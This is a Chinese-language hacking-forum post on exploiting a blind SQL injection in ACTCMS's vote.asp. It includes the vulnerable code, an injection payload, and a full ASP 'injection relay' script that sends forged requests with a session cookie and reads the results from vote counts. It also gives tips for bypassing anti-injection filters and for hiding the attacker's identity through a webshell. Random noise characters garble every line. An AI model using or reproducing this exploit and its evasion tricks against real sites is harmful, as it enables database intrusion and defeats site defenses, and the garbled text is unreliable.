. `' D7 o( p S9 r" K/ A; B0 l
看到ninty大牛的blog的一篇文章
( n) f$ n8 L1 S链接标记[url]http://www.forjj.com/?action=show&id=80[/url]& y0 _! y( d$ c5 k+ V5 q& k
关于actcms漏洞的利用 by 3x qq:381862589$ ^$ {% k' w, L* L
转载请注明以上1 S+ b4 D3 e5 b0 M
漏洞文件:* F0 Y+ ?, F+ r, b
/plus/vote/vote.asp( |# M0 ]4 Z9 j6 ], I$ Z, F- v9 A# `
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
: W. M2 a; Z' F2 e
3 _: O& C U, v% P) V4 ?/ a0 x2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
" B U' c# p4 I) s. }
s, H" p7 b/ E) i" t1 P% x2 G& S3 response.end $ T- H1 v( z, t: F, L
' L4 v# a' M2 y- @
4 end if ! V: B+ x5 d( b, n( n. W1 o" m
2 D1 K" @7 Y4 {& j- }
5 for i=1 to request("voted").count
* C8 ?3 _! \9 S, B# T' e5 V0 D5 w- [3 w) \6 K# ~
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) . U$ W1 K: j7 n
7 ]! j- w( A5 {! N& f
7 next 6 o8 k5 [. A5 ^; j
! T* k9 T7 u1 W. _0 {: X8....
0 b' g, X9 V% T; j0 j
' ^& s' H0 @3 R+ u7 o5 @1 Y- g9response.Redirect "index.asp?id="&id&""
5 n2 C6 V1 E1 l4 U' H, W. f2 X投票结束回跳转回index.asp这个投票结果页面
6 F: i3 o" t# j$ z% K如果投票成功票数加1
. G& G0 O% P+ [: A 失败票数不变2 n M8 y0 T' P0 ~ `7 N0 j
如图:% z! T4 @4 ^* W( x! t' O3 U( c! x
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
8 ]! Q) I, e* q3 F: Y/ `! Q: v, X- S m2 ^. j
2009-12-27 13:20
3 Z' L/ w0 @. H6 ~/ e) ~8 r
, Q8 |) l) D# e9 u2 M# I6 m利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了: L6 o8 N/ m, r) z
, \- [3 o- g9 ?- O2 R
本帖隐藏的内容需要回复才可以浏览
: M1 x. j3 P8 [. m: l我们用注入中转来实现这个注入具体代码如下: D- J9 ?! ^5 u6 a& ]1 J: J$ ?
先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 H# t. Z1 @" q8 p注入地址:http://localhost/actcms/plus/vote/vote.asp% \* f- P9 ]' R0 j, u) i6 r
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
3 M/ }8 o+ z& q9 C* u: z) k5 k% I% b \8 m
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% , t+ R$ x1 h/ `5 F; o# [$ K
! {$ m( [) x% a* b" L8 O02JmdcwName=request("jmdcw") $ t; _, r2 w, K* G% v8 b- c
n) H' b) o$ U0 |; Y) H) S
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
" p5 q3 ]& [. x+ {' p9 _
q% e7 J# c. }: t' I3 l. s04JmStr="id=1&voted=-1 or 1="&JmdcwName 2 ]. x+ m% f2 N
- f- `2 O& l6 ~9 l; M2 X05JmStr=URLEncoding(JmStr)
; P7 v& |2 J% v! F$ {7 ?' A8 x* A1 b$ X
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
n. p% i7 X( b5 `8 m* L& o b5 X% K* T1 @6 \- o6 v0 A' w2 N
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
2 |& c1 {3 E$ z! T6 ^% l+ u4 r9 |7 R E$ @: H, H, Q8 `
08testurl=testurl & "?" & JmStr 1 g- N v6 s8 w& g; B
8 j+ a! z. f* U# N09JMUrl=JMUrl & "?" & JmStr ; y0 W8 k% G8 L( z( o( Z- C( ]
9 O& n8 M; V6 S0 W d) N) n3 v
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"9 L+ k$ b f1 ^0 ]! p6 m
* B8 F C7 E6 L- e% h( z
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
: c2 d9 a# p% s: g3 p
# V& o' D' m6 v& `* I12JmCok=replace(JmCok,chr(32),"%20")
- z/ K b; s+ I, M ^
- ]$ _3 z; N# K' T5 K% U13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" w. m) p) Z0 C! I/ {
% v/ l5 u- a& H0 o: D14
4 t& F6 ~! B/ M2 o# k
, b% \" @/ m Y7 I5 G( w7 h- D0 @15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
( m; z M M2 F8 x& G: i
& y4 ^% c8 s: @8 c/ h9 N16 0 B; E: b1 a# k* q/ k! c* r7 E
( i3 @ ^) u K17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 - C8 ]: j3 q+ {6 g) i# J6 w# J
& v6 S: ]! p* T( c2 c* q1 Q% f18response.write test1&""&test2&""
" d3 q- k* o/ M# r5 b, a' z$ `4 a- m' d
19 5 L) n) b6 R# ]- R7 J
' P0 p- t5 C" t2 Y# v9 L1 P20if test1=test2 then '如前后记录相等,表示失败
K, s6 T d. J4 E: q V, ~4 u; F: D; |# s# e
21 response.write "failed"
% P2 X! P1 t, ]" }$ e
2 N+ v( K% u E* a4 O7 t22else
4 x' o/ J# E# R8 ]$ q( }0 E8 T/ c v* x; @4 y5 \( k+ U
23 response.write "succeed"; Y3 i% ~! d. H, [9 b/ i" C" b
4 P: z5 }; |; X2 L8 p3 \
24end if
8 S% ~4 E7 m$ Q2 H7 p) I* q" K0 k8 Y& j# h: C2 h4 s
25
0 F7 ?$ K5 a" `! `. ~5 ~3 b% }8 S, f! t6 c+ t) A' S+ y
26response.write "by 3x"
$ y: y8 Z3 g9 K+ Z
! G. B0 t) C6 h: K1 z27
8 M7 k3 Y# {8 ^) L* W) d
: I( ], A$ S, A- ~& f' x28 - x2 E- i7 f. D& N- x
" K' E J0 i3 \1 @
29Function PostData(PostUrl,PostStr,PostCok,PostRef) \: A( n2 S) q8 l! [) I" T
! o, j& M) I( P( n0 Z# j2 a30Dim Http 2 q* K& G9 s2 h4 h
+ b+ M* V1 i0 m9 x; A0 \2 r31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
: ~9 H3 S+ p* o% |% S
4 \1 O" s! a" Q32With Http M* S+ a1 Y; ?9 j' q
4 |9 P( U- i& @ K- U# N
33 $ e9 [8 l+ W9 L+ T* x6 }
9 m+ V j: U! e3 v6 T! ]
34.Open "GET",PostUrl,False
# _( }( A/ ]/ m
( m3 P" h. f" ^7 f35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"& D- }2 A$ B( j/ i
) q$ ]! u( P7 A, \' ^" L36.SetRequestHeader "Referer",PostRef
+ s8 I$ P3 ?9 f2 S( w) T/ u- x: q& ^# I8 O
37.SetRequestHeader "Cookie",PostCok
$ M# g$ c( k2 h
3 G. Q+ ?& A3 S38.Send () , B. e5 [0 E4 L1 ]* x* O
5 I' ]2 J& m( e5 R* v
39PostData = .ResponseBody " v4 a2 X+ W2 G* W7 p" g$ ~2 d
% K" f" A! y5 m' Z: b! ^: [: i$ z! x40End With3 [/ E* n( r- C; j) D7 s6 G. Y% {) B; N
& N) k- B5 i4 Y9 y% ?
41Set Http = Nothing' ~/ o3 g0 E" g% v; `
! z3 j1 }% W! r& i+ X
42PostData =bytes2BSTR(PostData)
# @# B1 P3 o! o! f: Q ^0 l& r: y$ y! ~8 } u
43End Function/ q( P M: ^1 D1 }5 W% o
8 c. h3 Q* U2 R V44
* {& |0 p6 v$ m5 t3 F5 z1 @$ N0 V
45 ; s* c9 L& ~$ S. ^" G4 a7 V5 O
4 T6 ~5 {. J2 C1 E8 {. Q5 s46Function bytes2BSTR(vIn) - Y1 }+ T7 Q7 e# R8 v
" x6 |0 ]; Y4 H- A$ j) E$ ?
47Dim strReturn . i) r- F' _/ `) r
! k$ C( v% P+ B8 F3 H48Dim I, ThisCharCode, NextCharCode
* I+ X7 P; H4 \' T
: R' J( p/ v8 s, h! y49strReturn = ""
: P# g: q. P b+ z h6 y) A1 q2 X0 q
50For I = 1 To LenB(vIn) $ Q9 T8 K7 N4 [8 L$ O3 Z) ^
4 S4 P' g+ I1 d* A3 y) l51ThisCharCode = AscB(MidB(vIn, I, 1)) ' u' Q+ F' i9 S* b. E
6 u5 H. Q$ [9 D- q8 _
52If ThisCharCode < &H80 Then$ F& p. k, A- x5 Z( s! n* g6 s9 S+ p
! t/ X0 a0 P. g) R
53strReturn = strReturn & Chr(ThisCharCode)
/ K* O8 r, F) g K
4 M# q4 }9 _; V% D1 p$ _& R# `54Else
0 |7 X" @: L: T9 C( c; `. M
) r9 N9 Z. B4 c4 X55NextCharCode = AscB(MidB(vIn, I + 1, 1)) % O/ W/ [% `8 d7 G! I
. P e* v6 w% d) m56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
' }1 \; Z2 Y/ n1 K" U0 F1 V4 _
+ E3 L, ^+ K, `" f7 R* m57I = I + 1
! A8 y4 O* J/ B+ `1 V% K
6 J6 D) ?3 x! h6 B: ^, N58End If
- d9 d7 S0 D4 b9 R% b
2 x4 l9 S& d* H4 j59Next" E+ `4 C( ^6 d2 t. m
2 M& z4 R _+ R1 W% _# n/ x
60bytes2BSTR = strReturn
5 {% j7 U" P6 S) o G! ^, L& {: z0 }3 ? V
61End Function9 V1 j$ J) x; w! W
' O; {# g( @' \7 |& D
62 5 \$ \2 V; L$ ]- k/ U8 |: g
0 g; s- h. V3 s/ p/ T63Function URLEncoding(vstrin)
0 C/ o5 G/ |9 I. z3 S
& Y- ]( h* x- E4 W% @64strReturn=""
/ Z. V/ I1 d- |, @6 [; X. P$ Q1 H/ \8 u7 W+ k1 O& a- f$ Y
65Dim i
/ @* P7 x+ ?' F7 {0 F2 {4 V+ h7 [" a9 x1 l
66For i=1 To Len(vstrin) , h( F& O' ?4 |4 ]& g( v6 r. Q
9 Y! H( q" J9 R/ |67ThisChr=Mid(vstrin,i,1)
% ?* V8 n4 N! C6 ^: d/ Z9 t6 h$ m" |
68if Abs(Asc(ThisChr))< &HFF Then
; @9 W6 F+ y9 j, K- k. b. N
3 e& A6 M) f; q7 h v69strReturn=strReturn & ThisChr ' @# i6 K+ C8 n( \
( i. D5 Q3 x; |) \6 P: X& w. p
70Else9 N" ~( V* e: }0 v# f# |6 i3 R5 w
$ T7 f- L" u* J5 z71InnerCode=Asc(ThisChr)
% |1 Q3 N* A. X) G
# G4 N9 a1 T w$ N) ~- W; \; y72If InnerCode<0 Then( R6 R) e y/ a1 E1 h; G
- h) L2 }5 p6 [7 L i5 t t
73InnerCode=InnerCode + &H10000
* K [( Y' A' S: Q3 k& B, x. \% E! M: s5 w5 H$ k! O a- C* q
74End If) T- J! v4 {5 O% O/ d
& W& M7 o0 v2 C( {' M3 w/ B) ]75Hight1=(InnerCode And &HFF00) \&HFF . i1 g a6 I0 a2 d
3 Y8 _" s# K9 [& z5 d; i76Low1=InnerCode And &HFF
: Z' L c( _% r+ q/ u, C
- l7 l6 o8 [: Q- l77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
7 D& S0 Y( Y& u/ w0 Z/ A+ T: I# F
78End if & B9 |. F, I2 R5 Z( {, G
X) T% w y4 A8 c$ p79Next
* k& I$ W" j& K% ^0 \- S. C5 c
8 \: |9 f0 O2 T7 }80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
8 S1 k$ G8 e4 Z9 k) O* }0 P, A) U, H' ^$ |
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 $ [& e K' M4 x, O% G
8 ~% f: J( v: Q6 W! b
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
9 M( y/ L+ ?/ m; K" E! {8 Z% E' Z; l1 I8 \1 p& e
83URLEncoding=strReturn / {8 ~3 b& k, b% r
% d F. W9 C5 }2 z& S- P
84End Function
, w* g6 f; @2 h
; u( {4 ?4 Y9 o, v85 3 R E) W$ s; H% A" [5 N
7 r a) a4 v$ E h4 \
86function getSt(body)
8 X1 r# i" B- k- `8 z
( h! G- b' E0 ~/ ?2 P# ]* H87 startpot=instr(body,"投票人数:")+len("投票人数:") * n8 N i G9 B {) Z1 b
I3 p( U: i* p+ x, G) T88 endpot=instr(startpot,body," ") ( P: ?+ ?3 I" \& M- l5 |2 Y L* ?
7 B/ q+ O0 \% X5 _4 X D89 getSt=mid(body,startpot,endpot-startpot) 9 L) b8 ]3 f1 C4 S
" F5 ]& U8 Q# I) h9 ?& h- W
90end function + a( F8 v/ k7 ]5 C/ d
2 [$ d5 u- R' x5 g: K; D O, @
91%>; d) \/ z* I4 W h4 x6 _
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
" z! C' t+ K. J2 f0 G5 F! b* j测试下效果:. b+ x7 p! {4 x5 X! ]% }6 F, B
投票成功:
0 V7 t! C* b" f* l* q8 [http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ C R: \; H3 w* p/ N) p* Q: H, P6 |. l
2009-12-27 13:29: @0 ?/ o% s/ ]# {9 Y9 A$ Y
投票失败+ `& J; H8 ]& U7 y
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
8 P5 k) E6 Q, v) a1 Y+ \) X% K. l; S& `* @
2009-12-27 13:294 l ]+ O' M9 _* X
-------------------------------------------------------------------------------1 _6 P# x7 I$ \* K8 t7 M- h
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
* ^* `) i6 d; e( s很抱歉。。。只能用单线程工具去注入。。。。。# C: o; S+ q. }3 ^* C
所以失败。。。不好意思。。。 J. k2 Y: u6 D( A) @+ I& f# D
-------------------------------------------------------------------------------1 s1 J" {; g3 i$ R6 z" F
. S* y8 c7 X, m# [
注入中转的一些其他应用/ U3 ~' L, Y3 j
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了& v4 ?0 R+ @$ }- i" O
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
1 R( Q! X; w5 N; e$ l0 [2.post注入转成get型的注入,方便我们使用工具来跑+ k6 U, J7 h2 s# I1 \* L
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")7 @0 W0 S: K% c/ E% \! Z
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过" l& m: L1 e& o; O1 p F
! ^! U' D+ e, Z' P |